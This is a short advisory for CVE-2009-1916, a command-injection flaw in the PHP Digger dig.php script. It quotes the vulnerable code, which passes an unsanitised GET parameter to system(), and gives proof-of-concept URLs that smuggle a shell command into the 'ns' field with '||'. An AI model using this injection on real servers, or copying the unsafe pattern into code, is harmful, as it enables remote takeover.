DNS Tools (PHP Digger) Remote Command Execution Vuln

2009.06.08
Credit: SirGod
Risk: High
Local: No
Remote: Yes
CVE: CVE-2009-1916
CWE: CWE-78


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

[+] DNS Tools (PHP Digger) Remote Command Execution [+] Discovered By SirGod [+] www.mortal-team.org [+] www.h4cky0u.org [+] Remote Command Execution - Vulnerable code in dig.php ------------------------------------------ $ns = $_GET['ns']; system ("dig @$ns $host $query_type"); ------------------------------------------ We can execute commands via "ns" variable.Just use || before and after the command. PoC : http://127.0.0.1/dig.php?ns=||COMMAND HERE||&host=mortal-team.net&query_type=NS&status=digging Example : http://127.0.0.1/dig.php?ns=||whoami||&host=mortal-team.net&query_type=NS&status=digging


See this note in RAW Version
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